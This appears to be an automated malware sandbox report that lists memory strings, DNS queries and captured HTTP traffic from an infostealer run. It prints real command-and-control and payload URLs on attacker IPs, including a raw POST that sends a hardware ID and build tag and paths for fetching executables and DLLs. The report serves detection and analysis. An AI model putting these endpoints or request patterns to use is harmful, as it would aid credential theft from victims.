Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: twitter.com

Source: unknown

HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="build"sila------BKJEHCAKFBGDGCAAAFBG--

Source: firefox.exe, 0000001C.00000002.2760587820.0000025B47D82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000002.2386289151.00000000025AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe00Start4pfncgndfolcbkdeeknbbbnhcc
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exeR_
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exein
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe395d
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe3oded
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/15.113.19/fac00b58987e8fcf7b8c730804042ba5ce902415450#N
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/15.113.19/fac00b58987e8fcf7b8c730804042ba5ce902415450#d9#
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/G
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php)
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php-5
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php0
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php00
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php5
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php9
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpEscape
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpI
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpP
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpY
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpcK2
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpf0
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phph0
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpj2
Source: explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpy
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ViewSizePreferences.SourceAumid001G
Source: explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/user
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2385503598.000000000254E000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2478978413.000000000253E000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2479176591.00000000025AC000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: 659e6df34d.exe, 00000010.00000002.2479176591.00000000025AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/%
Source: 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp, 659e6df34d.exe, 00000015.00000002.2608427789.000000000272C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000259B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php&
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php)
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php.exe
Source: file.exe, 00000000.00000002.2413355386.0000000028B17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php2
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php6/soka/random.exersA
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpJ
Source: 659e6df34d.exe, 00000015.00000002.2608427789.000000000272C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpP
Source: file.exe, 00000000.00000002.2413355386.0000000028B29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpV82
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpk
Source: file.exe, 00000000.00000002.2413355386.0000000028B17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phplegram
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpm
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php~
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dllC
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dllT
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dllG
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dllX
Source: file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: file.exe, 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dllz
Source: file.exe, 00000000.00000002.2386289151.00000000025AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: 659e6df34d.exe, 00000015.00000002.2608427789.0000000002711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/Z#
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/l86
Source: file.exe, 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.php.exe
Source: 659e6df34d.exe, 00000010.00000002.2478978413.000000000253E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31O
Source: 659e6df34d.exe, 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31S
Source: 659e6df34d.exe, 00000010.00000002.2479176591.000000000257A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31h6
Source: file.exe, 00000000.00000002.2385503598.000000000254E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31ma
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjs
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjshttps://e.ma
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B48588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B48588000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_PROXY_RESPONSE_HEADERACTIVITY_SUBTYPE
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B43724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B497D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2781883670.0000025B496EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2793550511.0000025B4ADC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2781883670.0000025B49691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753861945.0000025B458CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2777080126.0000025B4927F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2803080213.0000025B50E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2709492440.0000025B482A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2705372165.0000025B482BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2793550511.0000025B4ADBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2705533265.0000025B4828A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2709492440.0000025B482B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2766142861.0000025B48365000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2784405003.0000025B49709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2703222747.0000025B482F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764653610.0000025B482CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753861945.0000025B458C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr
Source: 7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
